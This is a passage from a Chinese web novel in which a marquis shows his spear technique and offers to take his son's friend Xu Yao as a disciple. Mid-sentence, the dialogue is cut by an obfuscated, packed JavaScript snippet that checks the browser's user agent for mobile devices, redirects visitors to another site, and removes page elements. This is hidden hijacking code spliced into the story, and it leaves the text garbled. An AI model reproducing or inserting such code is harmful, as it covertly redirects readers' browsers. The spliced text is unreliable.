这下,轮到谢瑄和迷惑了,他问徐耀:“为什么要等到后日,耀哥,我这难道不是很认真的在请教?” 徐耀摸了摸鼻子,其实他听完也觉得,这好像是个大问题啊! 28. 第二十八章 难得的休沐日,本该是睡到日头高照时,在软乎乎的铺盖卷里打个滚,再慢悠悠爬起来用饭。 但到了平日起身的点,谢瑄和突然就醒了,盯着帐顶,怎么都睡不着。 徐耀打了个哈欠,准备起来梳洗,正顺手给谢瑄和掖被角呢,冷不丁对上一双带着委屈的大眼睛。 “哟,这就醒了?” 徐耀笑起来:“从前不是都得睡到太阳照屁股才起,怎么,许久没挨我睡,还不习惯了?” “不是,”谢瑄和脸上显出些纠结、震惊,“耀哥,我居然睡不着!” “难得的休沐日,结果这个点儿,我就醒了,还睡不着了!” “耀哥,我别不是生病了吧!” 徐耀一听,就明白过来是怎么回事,道:“别胡说,这是你早起的好习惯已经养成了,是好事。” “不对,”谢瑄和抱着被子,在床上滚了半圈,“可我到进学的时候,就犯困起不来,这会儿我想睡,却又睡不着,我一定是病了。” 徐耀见他如此苦恼,索性建议道:“既然睡不着,不如来陪我练武,练完正好用早膳。” 谢瑄和不想起,但和耀哥一起练武他也很感兴趣,只好慢吞吞的坐起来:“也不知道徐伯父睡得好不好。” 徐耀想了想,问他:“我爹哪日睡得不好?” 谢瑄和沉默片刻,一头栽倒在徐耀身上:“我怎么就不能有徐伯父的好睡呢!” “别说你了,我也想呢,”徐耀理了理谢瑄和炸起的头发,“我爹说,他这是战时练出来的,旁人学不来。” 谢瑄和叹了口气,很快收拾好自己的情绪,拿了边上的衣裳笨手笨脚的穿起来。 青榆听见动静进来,见两人都起了,赶紧领人过来伺候。 “今儿休沐日,公子竟也起得这样早,若叫夫人知道,一定欢喜。” 青榆恭维了一句,便问:“公子与徐公子早膳可有什么想吃的没有?” 谢瑄和看向徐耀,等见他摇头,才道:“就按平日的做吧,只是迟些再送来,我与耀哥得先练练身手。” 青榆应了一声,下去吩咐。 谢瑄和则是跟着徐耀直接到了院子里。 这会儿时辰还早,风有些微凉,刚从屋里出来的谢瑄和不自觉打了个哆嗦。 “可是有些冷?”徐耀摸了摸他的后颈,见是暖的,才放心,“要不我在外头练,你就在屋里活动活动就是。” “没事儿,我就是突然出来,有些不大适应,这会儿已经好啦,”谢瑄和可不想自己在屋里呆着,“耀哥,我今日练什么啊?” 徐耀想了想道:“还是扎马步吧,你今日得练够一炷香。” “好,”谢瑄和也不嫌弃扎马步简单,毕竟万丈高楼平地起,地基不稳轰然塌。 他一个早产儿,能从扎小半盏茶全靠毅力支撑,到如今一炷香也顺利完成的程度,他已格外满意。 练了这些日子,连爹娘都夸他身上的肉肉紧实了许多,说是要不了多久,他就能正式跟着爹学武了。 许是人最不经念叨,谢瑄和才想着呢,寿平侯就穿着一身方便活动的衣裳,自外头走了进来。 寿平侯先是站在门口看了会儿徐耀练的拳脚招式,才走到谢瑄和身边。 因见他边上还点着香,就没说话。 等到香燃尽了,谢瑄和的动作也没有变形,寿平侯才满意的点头。 “有点样子了。” 谢瑄和收了架势,得意道:“是耀哥教得好,我也学得好!” 徐耀一套招式正好收尾,听见话音,走过来道:“还是瑄和你自己肯下苦功夫,说练多少,从不敷衍。” “都好,都好,”寿平侯撸了一把谢瑄和的头发,问徐耀,“我观你拳脚已小有所成,后头可想好要先练什么兵器没有?” “想先练枪法,”徐耀眼前一亮,“在边境时,侯爷拎着一杆红缨枪上阵的英姿,小子至今还记忆犹新!若可以的话,还请侯爷指点一二。” 说起这个,谢瑄和也赶紧伸出大拇指夸赞道:“对对,爹的枪法,是这个!” 寿平侯今晨过来,本就存了指点的心思,此刻自然不会拒绝,便命人去将自己趁手的兵器取来。 “我的枪法,是上阵杀敌的本事,招式不算多,要练好却不容易,耀儿你想学,可万不能懈怠。” “侯爷放心,”徐耀高兴道,“我一定好好学,不辜负侯爷的期待。” 说话间,下人已将东西取来。 寿平侯便不再啰嗦,拿起长枪在手上转了个圈,就展示起来。 他手上功夫足,一杆长枪被他耍得虎虎生威,杀气十足,枪尖刺破空气时,谢瑄和甚至觉得耳侧有尖锐的爆鸣声响起。 一套招式使完,徐耀与谢瑄和都看得心情激荡不已,看着寿平侯时,眼中更是带上了崇拜之意。 “爹,你好厉害!” 谢瑄和几步跑到他身边,围着他转了两圈,又小心的凑到他手边,摸了摸红缨枪的枪身。 “真帅气啊!” 徐耀也忍不住走到近前,看着寿平侯,深恨自己此刻的嘴笨拙舌,无法表达自己的喜欢和激动,一时憋得脸都红了。 寿平侯对两人的崇敬十分受用,他将手中兵器交到仆人手上,抱起兴奋的谢瑄和,转头看向徐耀。 “耀儿觉得如何?” “很、很好,”徐耀赶忙道,“再没有比这更帅气的了!” 寿平侯又笑起来:“你想做大将军,除了枪法,刀、箭等俱都不能落下。” 徐耀赶紧应下道:“是,小子受教。” 寿平侯看着他,眼中满是欣赏:“耀儿你资质不差,又有恒心,有毅力,我十分喜欢,有意收你为徒,你愿不愿意?” “我愿意!”徐耀瞬间拔高了声音,又突然有些不好意思的小声复述一遍,“我愿意的。” “师傅在上,请受徒儿一拜!” “不忙,”寿平侯一手抱着谢瑄和,一手止住他下拜的姿态,“你回去后,先同你爹商量商量,再同我说。” “不用商量, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12357248|130693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”徐耀赶忙打断道,“我自己能做主,我爹肯定也乐意!” 看着这样着急的徐耀,谢瑄和提醒道:“耀哥,还有拜师礼呢!没有拜师礼,你怎么从我爹这儿得好东西?” 寿平侯听了,忍不住拍了拍他的后脑勺:“只你唯恐爹的库房不被搬空。” “怎么会,”谢瑄和抱着他爹的脸亲昵的贴了贴,“耀哥做了爹的徒弟,那以后也是我亲哥了,兜兜转转,爹你的东西,不还在咱们家呢吗!” 徐耀也道:“是徒儿太唐突了些,合该先禀明父亲,再来正式拜会师傅。” 话说到此,寿平侯也不再拒绝,只说叫人看个好日子,再正式收徒。 寿平侯离开后,谢瑄和突然一下扑到了徐耀身上:“耀哥,耀哥,嘿嘿!” 徐耀也高兴得直接把谢瑄和抱起来转圈,唬得边上伺候的下人急得不行。 “好弟弟,你先用饭去,我再练一会儿。” 谢瑄和知道他此刻内心正兴奋着,满身都是使不完的力气,便道:“那我先去吃,耀哥你也注意着些,别练得过度,伤着了。” “放心吧,”徐耀道,“我有分寸。” 果然,也就谢瑄和才用完早饭不久,徐耀也过来了。 原本接下来的时间,两人是计划好了先一道复习功课,再玩会儿别的。但徐耀如今心里都被拜师的事占满了,一盏茶功夫,就看了三四回时辰。 谢瑄和劝他道:“耀哥,这会儿还早呢,徐伯父肯定没起,你这会儿回去,你猜他是给你开门,还是叫你滚蛋?” 这答案,猜都不必猜。 徐耀把书册随意搁到桌上,往后一靠:“不成,我心里还是静不住。” “那咱们看小鱼去?”谢瑄和想了想道,“我缸里新放了几尾鲤鱼进去,我还没看过呢。” “成,”徐耀直接抱去谢瑄和,“咱们往哪边去?” 谢瑄和好些时候没见到他如此失态,不由笑道:“用不着出门,就在院子里呢,那两个种着荷花的大缸就是。” 对他偷笑的事,徐耀全不放在心上,抱着他直接出门。 院子的角落里,荷花正亭亭玉立,荷叶也从青翠染了墨色。 两人凑到缸边,正好见着一条金红的鲤鱼慢慢游过。 “可真小,”谢瑄和抓着徐耀的手比了比,“还不到耀哥你两指宽。” 徐耀点点头:“是小了点,还不够塞牙缝的。” 谢瑄和咽了咽口水:“那打发人问问厨房今日买鱼没有,咱们烤鱼吃?” “炸小鱼也行,”徐耀道,“炸得金黄酥脆的小黄鱼,你能吃三条!” “那就都要,”谢瑄和说着,就准备喊吴应成,却在扭头时瞧见了站在门口,脸上不大高兴的谢昱。 “大哥?” 谢瑄和这才恍然想起,国子监也是今日休沐,谢昱昨晚上怕是就回府了。 见他终于发现自己,谢昱面色缓和了许多,走到近前,理也不理徐耀,只同谢瑄和道:“你玩儿什么呢,同我出去会儿。”